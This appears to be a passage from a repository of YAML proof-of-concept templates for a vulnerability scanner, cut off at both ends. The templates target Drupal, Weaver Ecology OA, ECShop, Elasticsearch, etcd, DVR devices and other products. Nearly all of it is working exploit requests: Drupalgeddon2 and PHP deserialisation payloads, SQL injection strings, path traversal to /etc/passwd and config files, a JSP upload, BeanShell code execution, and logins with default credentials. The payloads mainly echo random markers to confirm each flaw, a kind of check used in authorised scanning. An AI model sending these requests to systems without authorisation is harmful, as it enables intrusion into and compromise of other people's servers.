https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2014-3704\n Affected Version: Drupal < 7.32\n" }, { "path": "pocs/drupal-cve-2018-7600-rce.yml", "content": "name: poc-yaml-drupal-cve-2018-7600-rce\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\n r2: randomLowercase(4)\nrules:\n drupal70:\n request:\n cache: true\n method: POST\n path: /?q=user/password&name[%23post_render][]=printf&name[%23type]=markup&name[%23markup]={{r1}}%25%25{{r2}}\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: |\n form_id=user_pass&_triggering_element_name=name&_triggering_element_value=&opz=E-mail+new+Password\n expression: response.status == 200\n output:\n search: '\"name=\\\"form_build_id\\\"\\\\s+value=\\\"(?P.+?)\\\"\".bsubmatch(response.body)'\n build_id: search[\"build_id\"]\n drupal71:\n request:\n cache: true\n method: POST\n path: /?q=file%2Fajax%2Fname%2F%23value%2F{{build_id}}\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: |\n form_build_id={{build_id}}\n expression: response.body.bcontains(bytes(r1 + \"%\" + r2))\n drupal80:\n request:\n cache: true\n method: POST\n path: /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: |\n form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]={{r1}}%25%25{{r2}}\n expression: response.body.bcontains(bytes(r1 + \"%\" + r2))\nexpression: drupal80() || drupal70() && drupal71()\ndetail:\n links:\n - https://github.com/dreadlocked/Drupalgeddon2\n - https://paper.seebug.org/567/\n" }, { "path": "pocs/drupal-cve-2019-6340.yml", "content": "name: poc-yaml-drupal-cve-2019-6340\nmanual: true\ntransport: http\nset:\n host: request.url.host\n r1: randomLowercase(4)\n r2: randomLowercase(4)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /node/?_format=hal_json\n headers:\n Accept: '*/*'\n Content-Type: application/hal+json\n body: |\n {\n \"link\": [\n {\n \"value\": \"link\",\n \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:10:\\\"{{r1}}%%{{r2}}\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"printf\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\n }\n ],\n \"_links\": {\n \"type\": {\n \"href\": \"http://{{host}}/rest/type/shortcut/default\"\n }\n }\n }\n follow_redirects: true\n expression: response.status == 403 && response.content_type.contains(\"hal+json\") && response.body.bcontains(bytes(r1 + \"%\" + r2))\nexpression: r0()\ndetail:\n author: thatqier\n links:\n - https://github.com/jas502n/CVE-2019-6340\n - https://github.com/knqyf263/CVE-2019-6340\n" }, { "path": "pocs/dubbo-admin-default-password.yml", "content": "name: poc-yaml-dubbo-admin-default-password\nmanual: true\ntransport: http\nrules:\n guest0:\n request:\n cache: true\n method: GET\n path: /\n headers:\n Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=\n expression: 'response.status == 200 && response.body.bcontains(b\"Dubbo Admin\") && response.body.bcontains(b\": guest'', ''/logout''\") && response.body.bcontains(b\"/sysinfo/versions\")'\n root0:\n request:\n cache: true\n method: GET\n path: /\n headers:\n Authorization: Basic cm9vdDpyb290\n expression: 'response.status == 200 && response.body.bcontains(b\"Dubbo Admin\") && response.body.bcontains(b\": root'', ''/logout''\") && response.body.bcontains(b\"/sysinfo/versions\")'\nexpression: root0() || guest0()\ndetail:\n author: mumu0215(https://github.com/mumu0215)\n links:\n - https://www.cnblogs.com/wishwzp/p/9438658.html\n" }, { "path": "pocs/duomicms-sqli.yml", "content": "name: poc-yaml-duomicms-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /duomiphp/ajax.php?action=addfav&id=1&uid=1%20and%20extractvalue(1,concat_ws(1,1,md5(2000000005)))\n follow_redirects: false\n expression: response.body.bcontains(b\"fc9bdfb86bae5c322bae5acd78760935\")\nexpression: r0()\ndetail:\n author: hanxiansheng26(https://github.com/hanxiansheng26)\n links:\n - https://xz.aliyun.com/t/2828\n Affected Version: duomicms<3.0\n" }, { "path": "pocs/dvr-cve-2018-9995.yml", "content": "name: poc-yaml-dvr-cve-2018-9995\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /device.rsp?opt=user&cmd=list\n headers:\n Cookie: uid=admin\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(\"\\\"uid\\\":\")) && response.body.bcontains(b\"playback\")\nexpression: r0()\ndetail:\n author: cc_ci(https://github.com/cc8ci)\n links:\n - https://s.tencent.com/research/bsafe/474.html\n Affected Version: DVR\n" }, { "path": "pocs/e-zkeco-cnvd-2020-57264-read-file.yml", "content": "name: poc-yaml-e-zkeco-cnvd-2020-57264-read-file\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /iclock/ccccc/windows/win.ini\n expression: response.status == 200 && response.body.bcontains(b\"for 16-bit app support\")\nexpression: r0()\ndetail:\n author: ThestaRY (https://github.com/ThestaRY7/)\n links:\n - https://www.cnvd.org.cn/flaw/show/CNVD-2020-57264\n info: E-ZKEco readfileCNVD-2020-57264\n" }, { "path": "pocs/ecology-arbitrary-file-upload.yml", "content": "name: poc-yaml-ecology-arbitrary-file-upload\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\n r2: randomInt(40000, 44800)\n r3: randomInt(40000, 44800)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /page/exportImport/uploadOperation.jsp\n headers:\n Content-Type: multipart/form-data; boundary=b0d829daa06c13d6b3e16b0ad21d1eed\n body: \"\\\n --b0d829daa06c13d6b3e16b0ad21d1eed\\r\\n\\\n Content-Disposition: form-data; name=\\\"file\\\"; filename=\\\"{{r1}}.jsp\\\"\\r\\n\\\n Content-Type: application/octet-stream\\r\\n\\\n \\r\\n\\\n <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\\r\\n\\\n --b0d829daa06c13d6b3e16b0ad21d1eed--\\r\\n\\\n \"\n expression: response.status == 200\n r1:\n request:\n cache: true\n method: GET\n path: /page/exportImport/fileTransfer/{{r1}}.jsp\n expression: response.status == 200 && response.body.bcontains(bytes(string(r2 * r3)))\nexpression: r0() && r1()\ndetail:\n author: jingling(https://github.com/shmilylty)\n links:\n - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g\n" }, { "path": "pocs/ecology-filedownload-directory-traversal.yml", "content": "name: poc-yaml-ecology-filedownload-directory-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"/weaver/\")\nexpression: r0()\ndetail:\n author: l1nk3r\n links:\n - https://www.weaver.com.cn/cs/securityDownload.asp\n" }, { "path": "pocs/ecology-javabeanshell-rce.yml", "content": "name: poc-yaml-ecology-javabeanshell-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /weaver/bsh.servlet.BshServlet\n body: bsh.script=print%28{{r1}}*{{r2}}%29&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0()\ndetail:\n author: l1nk3r\n links:\n - https://www.weaver.com.cn/cs/securityDownload.asp\n" }, { "path": "pocs/ecology-springframework-directory-traversal.yml", "content": "name: poc-yaml-ecology-springframework-directory-traversal\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /weaver/org.springframework.web.servlet.ResourceServlet?resource=/WEB-INF/web.xml\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"/weaver/\")\nexpression: r0()\ndetail:\n author: l1nk3r\n links:\n - https://www.weaver.com.cn/cs/securityDownload.asp\n" }, { "path": "pocs/ecology-syncuserinfo-sqli.yml", "content": "name: poc-yaml-ecology-syncuserinfo-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /mobile/plugin/SyncUserInfo.jsp?userIdentifiers=-1)union(select(3),null,null,null,null,null,str({{r1}}*{{r2}}),null\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0()\ndetail:\n author: MaxSecurity(https://github.com/MaxSecurity)\n links:\n - https://www.weaver.com.cn/\n" }, { "path": "pocs/ecology-v8-sqli.yml", "content": "name: poc-yaml-ecology-v8-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(1000, 9999)\n r2: randomInt(1000, 9999)\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select+{{r1}}*{{r2}}+as+id\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0()\ndetail:\n author: Print1n(http://print1n.top)\n links:\n - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEOA%20V8%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html\n" }, { "path": "pocs/ecology-validate-sqli.yml", "content": "name: poc-yaml-ecology-validate-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(8000, 9999)\n r2: randomInt(800, 1000)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /cpt/manage/validate.jsp?sourcestring=validateNum\n body: sourcestring=validateNum&capitalid=11%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion+select+str({{r1}}*{{r2}})&capitalnum=-10\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0()\ndetail:\n author: fuping\n links:\n - https://news.ssssafe.com/archives/3325\n - https://www.weaver.com.cn/cs/securityDownload.asp\n" }, { "path": "pocs/ecology-workflowcentertreedata-sqli.yml", "content": "name: poc-yaml-ecology-workflowcentertreedata-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(4000, 9999)\n r2: randomInt(800, 1000)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /mobile/browser/WorkflowCenterTreeData.jsp\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: node=wftype_1132232323231&scope=23332323&formids=1111111111111%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a)))union+select+1024,({{r1}}*{{r2}})+order+by+(((1\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0()\ndetail:\n author: JingLing(https://hackfun.org/)\n links:\n - https://anonfiles.com/A4cede8an1/_OA_WorkflowCenterTreeData_oracle_html\n - https://mp.weixin.qq.com/s/9mpvppx3F-nTQYoPdY2r3w\n" }, { "path": "pocs/ecshop-cnvd-2020-58823-sqli.yml", "content": "name: poc-yaml-ecshop-cnvd-2020-58823-sqli\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /delete_cart_goods.php\n body: id=0||(updatexml(1,concat(0x7e,(select%20md5({{r1}})),0x7e),1))\n expression: response.status == 200 && response.body.bcontains(bytes(substr(md5(string(r1)), 0, 31)))\nexpression: r0()\ndetail:\n author: 凉风(http://webkiller.cn/)\n links:\n - https://mp.weixin.qq.com/s/1t0uglZNoZERMQpXVVjIPw\n" }, { "path": "pocs/ecshop-collection-list-sqli.yml", "content": "name: poc-yaml-ecshop-collection-list-sqli\r\nmanual: true\r\ntransport: http\r\nset:\r\n r1: randomInt(10000, 99999)\r\nrules:\r\n r0:\r\n request:\r\n cache: true\r\n method: GET\r\n path: /user.php?act=collection_list\r\n headers:\r\n X-Forwarded-Host: 45ea207d7a2b68c49582d2d22adf953apay_log|s:55:\"1' and updatexml(1,insert(md5({{r1}}),1,1,0x7e),1) and '\";|45ea207d7a2b68c49582d2d22adf953a\r\n follow_redirects: false\r\n expression: response.body.bcontains(bytes(substr(md5(string(r1)), 1, 31)))\r\nexpression: r0()\r\ndetail:\r\n author: 曦shen\r\n links:\r\n - https://github.com/vulhub/vulhub/tree/master/ecshop/collection_list-sqli\r\n" }, { "path": "pocs/ecshop-rce.yml", "content": "name: poc-yaml-ecshop-rce\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\nrules:\n v2x0:\n request:\n cache: true\n method: POST\n path: /user.php\n headers:\n Content-Type: application/x-www-form-urlencoded\n Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:\"num\";s:193:\"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}554fcae493e564ee0dc75bdf2ebf94ca\n body: action=login&pp123=printf({{r1}}*{{r2}});\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\n v3x0:\n request:\n cache: true\n method: POST\n path: /user.php\n headers:\n Content-Type: application/x-www-form-urlencoded\n Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:\"num\";s:193:\"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6576616c09286261736536345f6465636f64650928275a585a686243676b5831425055315262634841784d6a4e644b54733d2729293b2f2f7d787878,10-- -\";s:2:\"id\";s:11:\"-1' UNION/*\";}45ea207d7a2b68c49582d2d22adf953aads\n body: action=login&pp123=printf({{r1}}*{{r2}});\n expression: response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: v2x0() || v3x0()\ndetail:\n author: 凉风(http://webkiller.cn/)\n links:\n - https://github.com/vulhub/vulhub/blob/master/ecshop/xianzhi-2017-02-82239600/README.zh-cn.md\n" }, { "path": "pocs/eea-info-leak-cnvd-2021-10543.yml", "content": "name: poc-yaml-eea-info-leak-cnvd-2021-10543\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /authenticationserverservlet\n expression: response.status == 200 && \"(.*?)\".bmatches(response.body) && \"(.*?)\".bmatches(response.body)\nexpression: r0()\ndetail:\n author: Search?=Null\n links:\n - https://exp1orer.github.io\n description: MessageSolution Enterprise Email Archiving (EEA) Info Leak.\n" }, { "path": "pocs/elasticsearch-cve-2014-3120.yml", "content": "name: poc-yaml-elasticsearch-cve-2014-3120\nmanual: true\ntransport: http\nset:\n r: randomInt(800000000, 1000000000)\n r1: randomInt(800000000, 1000000000)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /test/test1/123\n headers:\n Content-Type: application/json\n body: |\n {\n \"name\": \"test\"\n }\n expression: response.status == 201 || response.status == 200\n r1:\n request:\n cache: true\n method: POST\n path: /_search\n headers:\n Content-Type: application/json\n body: |-\n {\n \"size\": 1,\n \"query\": {\n \"filtered\": {\n \"query\": {\n \"match_all\": {\n }\n }\n }\n },\n \"script_fields\": {\n \"command\": {\n \"script\": \"{{r}}+{{r1}}\"\n }\n }\n }\n follow_redirects: true\n expression: response.status == 200 && response.body.bcontains(bytes(string(r + r1)))\nexpression: r0() && r1()\ndetail:\n author: suancaiyu、violin\n links:\n - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120\n elasticsearch: v1.1.1\n" }, { "path": "pocs/elasticsearch-cve-2015-1427.yml", "content": "name: poc-yaml-elasticsearch-cve-2015-1427\nmanual: true\ntransport: http\nset:\n r1: randomInt(40000, 44800)\n r2: randomInt(40000, 44800)\nrules:\n r0:\n request:\n cache: true\n method: POST\n path: /test/test\n headers:\n Content-Type: application/json\n body: |\n {\n \"name\": \"test\"\n }\n expression: response.status == 201\n r1:\n request:\n cache: true\n method: POST\n path: /_search\n headers:\n Content-Type: application/json\n body: |\n {\n \"size\":1,\n \"script_fields\":{\n \"lupin\":{\n \"lang\":\"groovy\",\n \"script\":\"{{r1}}*{{r2}}\"\n }\n }\n }\n expression: response.status == 200 && response.content_type.icontains(\"json\") && response.body.bcontains(bytes(string(r1 * r2)))\nexpression: r0() && r1()\ndetail:\n author: pululin(https://github.com/pululin)\n links:\n - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427\n" }, { "path": "pocs/elasticsearch-cve-2015-3337-lfi.yml", "content": "name: poc-yaml-elasticsearch-cve-2015-3337-lfi\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /_plugin/head/../../../../../../../../../../../../../../../../etc/passwd\n expression: response.status == 200 && \"root:[x*]:0:0:\".bmatches(response.body)\nexpression: r0()\ndetail:\n author: X.Yang\n links:\n - https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337\n" }, { "path": "pocs/elasticsearch-cve-2015-5531.yml", "content": "name: poc-yaml-elasticsearch-cve-2015-5531\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(4)\nrules:\n r0:\n request:\n cache: true\n method: PUT\n path: /_snapshot/{{r1}}\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: |-\n {\n \"type\": \"fs\",\n \"settings\":{\n \"location\": \"/usr/share/elasticsearch/repo/{{r1}}\"\n }\n }\n follow_redirects: true\n expression: response.status == 200 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"{\\\"acknowledged\\\":true}\")\n r1:\n request:\n cache: true\n method: PUT\n path: /_snapshot/{{r1}}2\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: |-\n {\n \"type\": \"fs\",\n \"settings\":{\n \"location\": \"/usr/share/elasticsearch/repo/{{r1}}/snapshot-backdata\"\n }\n }\n follow_redirects: true\n expression: response.status == 200 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"{\\\"acknowledged\\\":true}\")\n r2:\n request:\n cache: true\n method: GET\n path: /_snapshot/{{r1}}/backdata%2f..%2f..%2f..%2fconfig%2felasticsearch.yml\n follow_redirects: true\n expression: response.status == 400 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"{\\\"error\\\":\\\"ElasticsearchParseException[Failed to derive xcontent from\")\nexpression: r0() && r1() && r2()\ndetail:\n author: ha9worm(https://github.com/ha9worm)\n links:\n - https://www.cnblogs.com/sallyzhang/p/12457031.html\n" }, { "path": "pocs/elasticsearch-unauth.yml", "content": "name: poc-yaml-elasticsearch-unauth\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /\n follow_redirects: false\n expression: response.status == 200 && response.content_type.contains(\"application/json\") && response.body.bcontains(b\"You Know, for Search\")\n r1:\n request:\n cache: true\n method: GET\n path: /_cat\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(b\"/_cat/master\")\nexpression: r0() && r1()\ndetail:\n author: p0wd3r\n links:\n - https://yq.aliyun.com/articles/616757\n" }, { "path": "pocs/etcd-unauth.yml", "content": "name: poc-yaml-etcd-unauth\nmanual: true\ntransport: http\nset:\n r1: randomLowercase(32)\n r2: randomLowercase(32)\n r3: randomLowercase(32)\nrules:\n r0:\n request:\n cache: true\n method: PUT\n path: /v2/keys/{{r1}}?dir=true\n follow_redirects: false\n expression: response.status == 201\n r1:\n request:\n cache: true\n method: PUT\n path: /v2/keys/{{r1}}/{{r2}}?prevExist=false\n headers:\n Content-Type: application/x-www-form-urlencoded\n body: value={{r3}}\n follow_redirects: false\n expression: response.status == 201\n r2:\n request:\n cache: true\n method: GET\n path: /v2/keys/{{r1}}/{{r2}}?quorum=false&recursive=false&sorted=false\n follow_redirects: false\n expression: response.status == 200 && response.body.bcontains(bytes(r3))\nexpression: r0() && r1() && r2()\ndetail:\n author: j4ckzh0u(https://github.com/j4ckzh0u)\n links:\n - https://www.freebuf.com/news/196993.html\n" }, { "path": "pocs/etouch-v2-sqli.yml", "content": "name: poc-yaml-etouch-v2-sqli\nmanual: true\ntransport: http\nrules:\n r0:\n request:\n cache: true\n method: GET\n path: /upload/mobile/index.php?c=category&a=asynclist&price_max=1.0%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(0x7e,md5(1),0x7e,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS%20GROUP%20BY%20x)a)'\n expression: response.status == 200 && response.body.bcontains(b\"c4ca4238a0b923820dcc509a6f75849b\")\nexpression: r0()\ndetail:\n author: 